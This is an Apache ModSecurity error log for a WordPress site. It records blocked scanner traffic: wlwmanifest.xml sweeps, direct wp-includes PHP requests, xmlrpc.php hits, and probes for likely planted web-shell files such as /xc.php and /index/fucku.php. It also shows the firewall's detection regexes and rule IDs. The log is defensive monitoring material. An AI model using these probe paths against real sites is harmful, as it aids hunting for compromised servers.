[Sun Dec 14 19:17:00.325844 2025] [:error] [pid 39524:tid 39580] [client 4.190.155.242:4940] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aT6crGrVGpbDzFtDE9PNKgAAAFg"]
[Sun Dec 14 19:17:00.587602 2025] [:error] [pid 13799:tid 13821] [client 4.190.155.242:4948] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aT6crHjPEin01ElFTNYngwAAAhM"]
[Sun Dec 14 19:28:41.438673 2025] [:error] [pid 39524:tid 39564] [client 36.41.75.167:40466] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aT6faWrVGpbDzFtDE9PVDwAAAEg"]
[Sun Dec 14 20:17:40.362416 2025] [:error] [pid 40596:tid 40630] [client 34.63.51.220:55819] [client 34.63.51.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.51.220, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aT6q5GvZZo4N2X7WoLySrwAAAcQ"]
[Sun Dec 14 20:17:44.019579 2025] [:error] [pid 40596:tid 40646] [client 34.63.51.220:55819] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aT6q6GvZZo4N2X7WoLyStgAAAdQ"]
[Sun Dec 14 20:17:44.859012 2025] [:error] [pid 40595:tid 40608] [client 34.63.51.220:57893] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aT6q6Pjrht6y4RN-xKQfSgAAAYk"]
[Sun Dec 14 20:17:45.691731 2025] [:error] [pid 39525:tid 39597] [client 34.63.51.220:61165] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aT6q6U1fX_pB_BrvE_5LWwAAAI4"]
[Sun Dec 14 20:17:46.485087 2025] [:error] [pid 40596:tid 40645] [client 34.63.51.220:62660] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aT6q6mvZZo4N2X7WoLySuAAAAdM"]
[Sun Dec 14 20:17:47.289125 2025] [:error] [pid 41600:tid 41619] [client 34.63.51.220:65533] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aT6q69FLTBZjcwNd_VsPYwAAARA"]
[Sun Dec 14 20:17:48.140265 2025] [:error] [pid 41600:tid 41610] [client 34.63.51.220:52058] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aT6q7NFLTBZjcwNd_VsPbAAAAQc"]
[Sun Dec 14 20:17:48.970098 2025] [:error] [pid 39524:tid 39579] [client 34.63.51.220:60101] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aT6q7GrVGpbDzFtDE9PpugAAAFc"]
[Sun Dec 14 20:17:49.772334 2025] [:error] [pid 13799:tid 13817] [client 34.63.51.220:50052] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aT6q7XjPEin01ElFTNY9qQAAAg8"]
[Sun Dec 14 20:17:50.592417 2025] [:error] [pid 41600:tid 41603] [client 34.63.51.220:57029] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aT6q7tFLTBZjcwNd_VsPegAAAQA"]
[Sun Dec 14 20:17:51.380918 2025] [:error] [pid 13799:tid 13806] [client 34.63.51.220:63545] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aT6q73jPEin01ElFTNY9qwAAAgQ"]
[Sun Dec 14 20:17:52.249040 2025] [:error] [pid 40595:tid 40611] [client 34.63.51.220:64610] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aT6q8Pjrht6y4RN-xKQfTgAAAYw"]
[Sun Dec 14 20:17:53.054687 2025] [:error] [pid 40561:tid 40582] [client 34.63.51.220:57993] [client 34.63.51.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aT6q8YY6r869zoqRQkTVDwAAAVE"]
[Mon Dec 15 01:51:09.707354 2025] [:error] [pid 8339:tid 8347] [client 125.75.66.97:39593] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aT75DblqE6mJc-Y6giM7WQAAAAQ"]
[Mon Dec 15 05:48:25.974629 2025] [:error] [pid 35020:tid 35059] [client 4.230.0.145:31707] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aT8wqSBMuWbtFfQIRIbwVQAAAEk"], referer: https://www.google.co.uk/
[Mon Dec 15 05:48:26.592971 2025] [:error] [pid 35020:tid 35074] [client 4.230.0.145:38796] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aT8wqiBMuWbtFfQIRIbwVwAAAFg"], referer: https://www.google.com/
[Mon Dec 15 05:48:36.128805 2025] [:error] [pid 9882:tid 9896] [client 4.230.0.145:54159] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aT8wtHNmFf4TNOnZQ07QfAAAAQw"], referer: https://www.google.co.uk/
[Mon Dec 15 05:48:36.423409 2025] [:error] [pid 35019:tid 35031] [client 4.230.0.145:24649] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aT8wtK2LAdKSfjdLIKKTiQAAAAg"], referer: https://www.google.de/
[Mon Dec 15 05:48:37.357263 2025] [:error] [pid 35019:tid 35042] [client 4.230.0.145:29139] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/index.php"] [unique_id "aT8wta2LAdKSfjdLIKKTjQAAABM"], referer: https://www.google.com/
[Mon Dec 15 05:48:39.502919 2025] [:error] [pid 35019:tid 35037] [client 4.230.0.145:58473] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aT8wt62LAdKSfjdLIKKTkAAAAA4"], referer: https://www.google.fr/
[Mon Dec 15 05:48:39.797502 2025] [:error] [pid 35021:tid 35100] [client 4.230.0.145:21404] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aT8wty9sSwxVqtYnS1uUKAAAAJc"], referer: https://duckduckgo.com/
[Mon Dec 15 05:48:40.093329 2025] [:error] [pid 9882:tid 9906] [client 4.230.0.145:24672] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aT8wuHNmFf4TNOnZQ07QfQAAARY"], referer: https://www.google.de/
[Mon Dec 15 05:48:40.389447 2025] [:error] [pid 35021:tid 35077] [client 4.230.0.145:47153] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/development/index.php"] [unique_id "aT8wuC9sSwxVqtYnS1uUKQAAAIA"], referer: https://www.google.co.uk/
[Mon Dec 15 05:48:40.695825 2025] [:error] [pid 35021:tid 35098] [client 4.230.0.145:65001] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aT8wuC9sSwxVqtYnS1uUKgAAAJU"], referer: https://www.google.de/
[Mon Dec 15 05:48:41.308114 2025] [:error] [pid 9882:tid 9908] [client 4.230.0.145:23353] [client 4.230.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aT8wuXNmFf4TNOnZQ07QfwAAARg"], referer: https://www.google.de/
[Mon Dec 15 10:57:27.466269 2025] [:error] [pid 39914:tid 39927] [client 177.73.202.96:12899] [client 177.73.202.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.73.202.96, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aT95F1247O4ulGRu1dMSygAAAAo"]
[Mon Dec 15 13:09:58.166285 2025] [:error] [pid 39828:tid 39867] [client 43.159.149.216:35580] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aT-YJu0Kj9XWFkRmVbT0fAAAAMk"]
[Mon Dec 15 14:26:46.674871 2025] [:error] [pid 39828:tid 39865] [client 43.157.148.38:33232] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aT-qJu0Kj9XWFkRmVbQIJQAAAMc"]
[Mon Dec 15 15:01:08.798375 2025] [:error] [pid 39828:tid 39866] [client 34.227.172.142:34346] [client 34.227.172.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/actions"] [unique_id "aT-yNO0Kj9XWFkRmVbQRvgAAAMg"]
[Mon Dec 15 15:01:09.615025 2025] [:error] [pid 39828:tid 39871] [client 34.227.172.142:34478] [client 34.227.172.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_next/data"] [unique_id "aT-yNe0Kj9XWFkRmVbQRvwAAAM0"]
[Mon Dec 15 15:01:10.431824 2025] [:error] [pid 17595:tid 17617] [client 34.227.172.142:34508] [client 34.227.172.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aT-yNiEZ31fZFzV3Us_T9gAAARQ"]
[Mon Dec 15 20:16:30.306270 2025] [:error] [pid 52155:tid 52160] [client 20.27.228.201:17777] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "aT_8HhaJK6javjid3xyojwAAAQI"]
[Mon Dec 15 20:16:30.589680 2025] [:error] [pid 52155:tid 52176] [client 20.27.228.201:17674] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "aT_8HhaJK6javjid3xyokQAAARI"]
[Mon Dec 15 20:16:30.883224 2025] [:error] [pid 52155:tid 52175] [client 20.27.228.201:17743] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "aT_8HhaJK6javjid3xyokgAAARE"]
[Mon Dec 15 20:16:31.134187 2025] [:error] [pid 52155:tid 52161] [client 20.27.228.201:17694] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "aT_8HxaJK6javjid3xyolQAAAQM"]
[Mon Dec 15 20:16:31.379332 2025] [:error] [pid 31373:tid 31410] [client 20.27.228.201:17788] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/fucku.php"] [unique_id "aT_8H3FdnrU7ASwItVLYYwAAAMU"]
[Mon Dec 15 20:16:31.696536 2025] [:error] [pid 31374:tid 31442] [client 20.27.228.201:17688] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/fucku.php"] [unique_id "aT_8H5zSh8b7uk6RWiFZnQAAAEo"]
[Mon Dec 15 20:16:31.987419 2025] [:error] [pid 31372:tid 31389] [client 20.27.228.201:17778] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/fucku.php"] [unique_id "aT_8HwN06qRtpJxyxHiZpwAAAI0"]
[Mon Dec 15 20:16:32.310155 2025] [:error] [pid 31372:tid 31385] [client 20.27.228.201:17739] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/fucku.php"] [unique_id "aT_8IAN06qRtpJxyxHiZqQAAAIk"]
[Mon Dec 15 20:16:32.572089 2025] [:error] [pid 31373:tid 31421] [client 20.27.228.201:17673] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8IHFdnrU7ASwItVLYZAAAANA"]
[Mon Dec 15 20:16:32.971649 2025] [:error] [pid 52155:tid 52182] [client 20.27.228.201:17790] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8IBaJK6javjid3xyomwAAARg"]
[Mon Dec 15 20:16:33.725673 2025] [:error] [pid 52155:tid 52163] [client 20.27.228.201:17689] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8IRaJK6javjid3xyonQAAAQU"]
[Mon Dec 15 20:16:34.057286 2025] [:error] [pid 52155:tid 52170] [client 20.27.228.201:17678] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8IhaJK6javjid3xyonwAAAQw"]
[Mon Dec 15 20:16:34.811382 2025] [:error] [pid 52155:tid 52167] [client 20.27.228.201:12226] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT_8IhaJK6javjid3xyoogAAAQk"]
[Mon Dec 15 20:16:35.087267 2025] [:error] [pid 52155:tid 52166] [client 20.27.228.201:17669] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT_8IxaJK6javjid3xyoowAAAQg"]
[Mon Dec 15 20:16:35.383693 2025] [:error] [pid 31459:tid 31461] [client 20.27.228.201:17750] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT_8IzqerS0TDpViRzteRwAAAAA"]
[Mon Dec 15 20:16:35.838743 2025] [:error] [pid 31373:tid 31420] [client 20.27.228.201:17732] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aT_8I3FdnrU7ASwItVLYagAAAM8"]
[Mon Dec 15 20:16:36.202408 2025] [:error] [pid 31459:tid 31462] [client 20.27.228.201:17685] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aT_8JDqerS0TDpViRzteSQAAAAE"]
[Mon Dec 15 20:16:36.638254 2025] [:error] [pid 31459:tid 31466] [client 20.27.228.201:17681] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aT_8JDqerS0TDpViRzteSwAAAAU"]
